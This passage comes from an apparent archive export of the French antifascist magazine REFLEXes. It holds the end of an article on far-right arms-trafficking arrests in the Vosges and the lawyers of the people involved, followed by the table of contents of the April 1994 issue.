novembre 2002, pour justifier le refus d&rsquo;accueillir BBRock à la Fête de l&rsquo;Identité et des Libertés du 09 novembre 2002.</p>
<p>Aujourd&rsquo;hui, cet ensemble a du plomb dans l&rsquo;aile et il y a fort à parier que les activités nationalo-catholico-négationno-musicalo-fascistes de Châteauroux vont connaître une baisse de régime. Pour autant le moment choisi par la police pour intervenir pose bien des questions. Sans aller jusqu&rsquo;à la thèse défendue par BBR selon laquelle il s&rsquo;agissait de faire oublier l&rsquo;arrestation de militants islamistes, on ne peut que rester perplexe devant l&rsquo;importance accordée à cette histoire si on la compare avec le silence dont ont bénéficié d&rsquo;autres démantèlements récents de trafics d&rsquo;armes dont les protagonistes étaient également des militants nationalistes ou néo-fascistes. C&rsquo;est par exemple le cas le 10 mars dernier avec l&rsquo;arrestation dans les Vosges par le SRPJ de Nancy de 17 personnes pour détention d&rsquo;armes de guerre et d&rsquo;explosifs. Si la presse locale n&rsquo;a pas cité le nom de la seule personne écrouée, nous la connaissons pour notre part très bien puisqu&rsquo;il s&rsquo;agit de Cédric Bégin. Ce skinhead a longtemps été membre du PNFE et animateur du fanzine <em>Swastika</em> durant la première moitié des années 1990. Exclu des parachutistes lors de son service militaire, membre du génie civil durant quelques temps, il est écroué le 19 octobre 2000 à Épinal pour incitation à la haine raciale, détention d&rsquo;armes et d&rsquo;explosifs et dégradation de monuments publics (pour une affichette raciste apposée sur le monument du maréchal Leclerc à Madonne-et-Lamerey). Cette arrestation est alors la conséquence du coup de filet faisant suite au solstice d&rsquo;hiver du 18 octobre 2000 à Plainfaing et dans lequel était impliqué un responsable du FN, Jean-Yves Douissard. Bégin sera condamné en appel le 20 juin 2002 par la Cour d&rsquo;appel de Nancy à 2 ans de prison dont 20 mois avec sursis. N&rsquo;ayant pas renoncé à ses activités explosives, il a donc continué à tremper dans divers trafics dont le club de tir qu&rsquo;une partie des militants et sympathisants nationalistes impliqués fréquentaient était le pivot central. Autre trafic d&rsquo;ailleurs dont la presse n&rsquo;a pas parlé et qui avait lieu lui aussi dans les Vosges : celui qui était animé par André Leroy, ancien militaire et sympathisant d&rsquo;extrême droite, qui a été arrêté au début du mois de novembre 2003 en possession d&rsquo;armes de guerre et d&rsquo;explosifs. S&rsquo;il s&rsquo;est suicidé lors de sa détention préventive, l&rsquo;individu était bien connu des clubs de tir de la région de Saint-Dié et son trafic durait depuis 1995. Autant dire que Paul Thore et ses petits camarades peuvent passer à côté pour des petits joueurs avec leur vieille Sten et leurs grenades à main&#8230;<br />
Dernier détail piquant : l&rsquo;avocat de Paul Thore est Frédéric Pichon. Militant depuis qu&rsquo;il a 15 ans au FNJ puis à Troisième Voie et au GUD avant de revenir au FN, il a déjà été l&rsquo;avocat d&rsquo;une multitude de militants nationalistes impliqués dans des affaires délictueuses. Il fut ainsi le défenseur des militants du GUD Nancy poursuivis le 19 octobre 2001 pour incitation à la haine raciale devant le tribunal correctionnel de Nancy pour une participation à une manifestation d&rsquo;Unité Radicale le 28 octobre 2000. Mais il a surtout été l&rsquo;avocat d&rsquo;Adeline Rimoux, fille du directeur de cabinet de Dominique Perben, dans l&rsquo;affaire Clippel puis Scheckler (Cf <em>REFLEXes</em> n°7), pour une détention illégale d&rsquo;arme à feu et une provocation au suicide.</p>
<p>Décidément, le monde est petit et les préoccupations nationalistes bien monomaniaques !</p>
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		<title>REFLEXes Numéro 42 – Avril 1994</title>
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		<pubDate>Tue, 05 Apr 1994 14:19:54 +0000</pubDate>
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				<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://reflexes.samizdat.net/wp-content/uploads/1994/04/ReflexesNum42-04-1994.pdf"><img class="aligncenter wp-image-2021" src="http://reflexes.samizdat.net/wp-content/uploads/2014/11/Reflexes0042-721x1024.jpg" alt="Reflexes0042" width="600" height="851" /></a><em><strong>(cliquez sur l&rsquo;image pour télécharger le pdf du numéro)</strong></em></p>
<p style="text-align: left;">
<p><em><strong>SOMMAIRE :</strong></em></p>
<p>Extrême droite :</p>
<p><strong>Facs : ils sont partout </strong>(page 4)</p>
<p><strong>PNFE : d’un château l’autre (</strong>page 6<strong>)</strong></p>
<p><strong>GTDE : Le Pen parle et ment européen </strong>(page 8)</p>
<p><strong>SOS Bosnia : derrière l’humanitaire se cache la croix celtique </strong>(page 11)</p>
<p>Reflex Etranger :</p>
<p><strong>Bosnie : contre la partition la confédération </strong>(page 15)</p>
<p><strong>Angleterre : Searchlight (</strong>page 17<strong>)</strong></p>
<p><strong>Afrique du Sud : Eugène veut sa terre blanche  (</strong>page 19<strong>)</strong></p>
<p><strong>Russie : IIIe Rome ou IVe Reich </strong>(page 23)</p>
<p><strong>Allemagne : la sécurité en campagne électorale (</strong>page 25<strong>)</strong></p>
<p><strong>Italie : postface de <em>A visage découvert</em> de Renato Curcio (</strong>page 28<strong>)</strong></p>
<p>Sectes :</p>
<p><strong>Nouvelle Acropole, vieilles idoles </strong>(page 31)</p>
<p>Sécurité :</p>
<p><strong>Sécurité et ordre social </strong>(page 33)</p>
<p>NOTES DE LECTURE (page 35)</p>
<p>Culture :</p>
<p><strong>Interview d’Emmetrop / Est qui libre </strong>(page 31)</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
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